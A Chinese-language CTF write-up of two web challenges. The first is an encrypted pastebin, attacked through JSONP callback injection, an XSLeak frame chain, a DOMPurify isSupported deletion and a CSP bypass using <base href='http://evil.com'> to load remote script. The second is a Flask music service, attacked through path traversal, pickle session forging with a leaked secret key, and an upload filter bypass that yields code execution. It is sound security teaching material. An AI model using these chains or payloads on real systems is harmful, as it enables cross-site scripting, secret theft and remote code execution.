写在前面
to be continued …
secure paste
题面是一个端到端加密的pastebin,key在前端生成不走后端,访问的时候放在hash里,flag的url是可以直接拿到的,但是没有key。
在访问提供的url之前,bot会先把flag的url带上key访问一遍,然后直接page.goto,所以key应该是要用history.back拿到。
首先是一个显而易见的注入,在paste.ejs里
window.onload = () => {
const id = new URLSearchParams(location.search).get('id')
const script = document.createElement('script')
script.src = `/api/pastes/${id}?callback=load`
script.nonce = '<%= nonce %>'
document.body.appendChild(script)
}
这里id是可控的,也就可以注入callback参数执行js函数,不过是有限制的,可以从express的源码中看到
// restrict callback charset
callback = callback.replace(/[^\[\]\w$.]/g, '');
也就是没法使用bind的方法来设置参数调用任意函数。
XSLeak
先讲一个XSLeak的非预期,很方便的做法,可能最快做出来的那个队就是这样打的吧。
构造一个 window.open
的chain,a.html -> b.html -> c.html -> d.html
a先open b,然后
history.back()
b有很多iframe,name分别是base64的charset,然后open c
c open d
d把c navigate到可以jsonp的那个题目页面,用jsonp执行
opener[opener.opener.location.hash[i]].focus
b检查frame的active情况,然后上报
这种做法的关键在于即使b和c不是同源的,c也可以访问到b的frames和opener,然后因为b的opener是a,和c是同源的,也就可以拿到a的location。
XSS
offical的做法,在paste页面实现任意xss。
光是有jsonp能做的事情显然是不够的,需要找其他可以执行js的地方
if (data.type === 'markdown') {
const div = document.createElement('div')
div.innerHTML = await fputils.acompose(
DOMPurify.sanitize, marked.parse, getContent
)({ ...ctx, ct: data.content })
disp.appendChild(div)
} else {
const pre = document.createElement('pre')
pre.textContent = await getContent({ ...ctx, ct: data.content })
disp.appendChild(pre)
}
在paste页面decrypt的地方可以看到decrypt的逻辑,这里如果不是markdown类型,是对textContent赋值,肯定没法xss的,而markdown类型解密出来是直接对innerHTML赋值,如果能绕过DOMPurify的话还有点机会(众所周知,DOMPurify存在的意义就是被绕过),但markdown格式需要有premium token才能用。
看bot的代码可以注意到,实际上我们是有一个type为markdown的paste的,也就是flag的那个paste,虽然只有一个id,也没有解密的key。
// Giving you the url of the secret should be safe because you don't have decryption key :)
await page.goto(url + '?from=' + encodeURIComponent(urlNoKey))
那有没有机会在decrypt的时候做事情呢?
The crypto bug
首先是crypto部分中的bug
CryptoUtils.prototype.decrypt = async function (obj) {
const ctx = { ...obj, name: this.name, additionalData: this.additionalData }
const key = await crypto.subtle.importKey(ctx.key.type, ctx.key.data, ctx, true, ['decrypt'])
return new Uint8Array(await crypto.subtle.decrypt(ctx, key, ctx.ct))
}
这里的定义看起来没啥问题,但是在实际使用的时候
const cu = new CryptoUtils()
// ...
const getContent = fputils.acompose(updateTitleAndGetContent, JSON.parse, utils.textDecode, cu.decrypt)
这里CryptoUtils.decrypt中的this在实际使用时指向的其实是window对象,可以拿下面的代码测试一下
function CryptoUtils() {
this.name ||= 'AES-GCM'
}
CryptoUtils.prototype.decrypt = async function (obj) {
console.log(this)
return this.name
}
const cu = new CryptoUtils()
console.log(cu.decrypt())
const decrypt = cu.decrypt
console.log(decrypt())
这显然是有问题的,但实际上题目的功能却很完整,这是因为题目中还有别的bug,crypto.js这里定义了CryptoUtils并将其返回
(function (root, factory) {
if (typeof define === 'function' && define.amd) {
return define(['webcrypto', 'utils'], factory)
} else if (typeof exports === 'object') {
return (module.exports = factory(require('crypto').webcrypto, require('./utils')))
} else {
return (root.CryptoUtils = factory(crypto, utils))
}
})(this, function (crypto, utils) {
function CryptoUtils() {
this.name ||= 'AES-GCM'
this.additionalData ||= utils.textEncode('Secure Paste Encrypted Data')
}
// ...
return CryptoUtils
})
这里结束的时候并没有添加分号(js目录下其他文件都加了),这就导致在bundle的时候和下一个文件中的括号直接连起来,CryptoUtils会被调用,而下一个文件内的东西会被作为参数。
const bundlejs = (() => {
// poor man's javascript bundler
const DIR = 'static/js'
let js = ''
for (const f of ['utils.js', 'crypto.js', 'fputils.js', 'jsonplus.js']) {
js += fs.readFileSync(`${DIR}/${f}`, 'utf-8') + '\n'
}
return js
})()
但是如果下一个文件内的第一个括号被当作函数调用,那下一个文件内第二个括号内的东西应该会出问题,为什么一切都很正常呢?
可以来看下下一个js文件fputils.js
((function (root, factory) {
// ...
})(this, function () {
// ...
}));
这里在整个表达式外又加了一个括号(其他几个js文件都没有这样做),这样就保证了原来的语义,使表达式可以正常执行,由于CryptoUtils函数不需要参数,所以执行结果也没有起作用。
CryptoUtils函数被直接调用而不是new出来的话,this.name也就是window.name就被设置了,这样在decrypt的时候就不会出错了。
两个bug合起来使代码可以work,还是挺离谱的,作者也确实加了一些“看起来不太寻常但又感觉没啥问题”的改动
window.name是算法,hash是key,这两个都是可控的,这时候就可以控制decrypt出来的内容了。
DOMPurify bypass
虽然已经可以控制decrypt出来的内容了,但是还有DOMPurify需要绕过。
看DOMPurify.sanitize的源码可以发现
DOMPurify.sanitize = function (dirty, cfg = {}) {
// ...
/* Check we can run. Otherwise fall back or ignore */
if (!DOMPurify.isSupported) {
if (
typeof window.toStaticHTML === 'object' ||
typeof window.toStaticHTML === 'function'
) {
if (typeof dirty === 'string') {
return window.toStaticHTML(dirty);
}
if (_isNode(dirty)) {
return window.toStaticHTML(dirty.outerHTML);
}
}
return dirty;
}
}
DOMPurify有个isSupported属性,可以利用jsonp是把这个属性delete掉
delete[DOMPurify][0].isSupported
但是一个页面只能执行一次jsonp的callback,需要再打开一个paste页面,利用
delete[opener.DOMPurify][0].isSupported
这里可能会不成功,需要race一下,使xss发生页面的callback在DOMPurify被禁掉之后被调用。
CSP bypass
虽然现在可以注入任意html了,但是还有CSP的限制,还不能随便执行js
app.use((req, res, next) => {
const nonce = crypto.randomBytes(16).toString('hex')
res.locals.nonce = nonce
res.set(
'Content-Security-Policy',
`default-src 'self'; script-src 'self' 'nonce-${nonce}'; style-src 'self' 'unsafe-inline'; img-src *; frame-src 'none'; object-src 'none'`
)
res.set('X-Frame-Options', 'DENY')
res.set('X-Content-Type-Options', 'nosniff')
next()
})
把CSP的内容放到CSP Evaluator里可以发现缺了base-url,所以可以注入base tag
<base href="http://evil.com">
然后利用onload时create出来的带nonce的script标签来加载外部js代码。
Exp
所以整个利用过程可以总结为
- 给bot一个url,打开a页面
- a页面打开b页面,然后history.back()
- b页面打开c页面
- c页面利用jsonp把b页面的DOMPurify禁掉
- b页面控制decrypt出的xss payload拿到opener.location,也就是a的location
S0undCl0ud
题目是一个云服务,可以传music,后端是flask。
第一个bug在get music的时候,没有对username做检查,可以路径穿越
@app.get("/@<username>/<file>")
def music(username, file):
return send_from_directory(f"musics/{username}", file, mimetype="application/octet-stream")
不过由于不能有/
,只能穿一层,可以拿到app.py的源码,也就可以拿到secret_key。
有了secret_key就可以伪造session了
payload = pickle.dumps(data)
s = TimestampSigner(
secret_key=app.secret_key,
salt='cookie-session',
digest_method=hashlib.sha1,
key_derivation='hmac',
).sign(base64_encode(payload)).decode()
print(s)
这里session serializer用的是pickle,open session的时候会调用pickle.loads,可以在这里做一些事情,不过题目中pickle的loads被替换了。
def loads_with_validate(data, *args, **kwargs):
opcodes = pickletools.genops(data)
allowed_args = ['user_id', 'musics', None]
if not all(op[1] in allowed_args
or type(op[1]) == int
or type(op[1]) == str and re.match(r"^musics/[^/]+/[^/]+$", op[1])
for op in opcodes):
return {}
allowed_ops = ['PROTO', 'FRAME', 'MEMOIZE', 'MARK', 'STOP',
'EMPTY_DICT', 'EMPTY_LIST', 'SHORT_BINUNICODE', 'BININT1',
'APPEND', 'APPENDS', 'SETITEM', 'SETITEMS']
if not all(op[0].name in allowed_ops for op in opcodes):
return {}
return _pickle_loads(data, *args, **kwargs)
pickle.loads = loads_with_validate
虽然看起来只有一些没啥用的opcode可以用,但实际上allow_ops的限制没什么作用,只是一个纸老虎,因为genops返回的是一个generator,在第一次not all的时候iter已经迭代完了,第二次not all肯定会过。
import pickletools
import pickle
data = pickle.dumps(1)
opcodes = pickletools.genops(data)
print(opcodes)
for op in opcodes:
print(op)
print(len([op for op in opcodes]))
'''
<generator object _genops at 0x7f5ecc2112e0>
(<pickletools.OpcodeInfo object at 0x7f5ecc188a60>, 4, 0)
(<pickletools.OpcodeInfo object at 0x7f5ecc1653a0>, 1, 2)
(<pickletools.OpcodeInfo object at 0x7f5ecc188ac0>, None, 4)
0
'''
所以其实是可以使用任意opcode的,但是第一次not all的时候对opcode的参数做了限制。
既然有music文件夹,也可以在music文件夹下写文件,可以考虑利用pickle中的global操作符把music下的文件import进来。
上传文件时有一个mimetypes的文件类型校验
if mimetypes.guess_type(file.filename)[0] in AUDIO_MIMETYPES \
and magic.from_buffer(file.stream.read(), mime=True) in AUDIO_MIMETYPES:
文件内容的check可以通过构造文件头来绕过,文件名的check可以用data协议配合safe_join来绕过
>>> mimetypes.guess_type('data:audio/mp4,/../../__init__.py')
('audio/mp4', None)
safe_join的时候会先调用posixpath.normpath,所以join的时候可以变成正常的路径
>>> posixpath.normpath('data:audio/mp4,/../../__init__.py')
'__init__.py'
>>> safe_join('music', 'abc/../', 'data:audio/mp4,/../../__init__.py')
'music/./__init__.py'
这样只要import music就可以执行任意python代码了。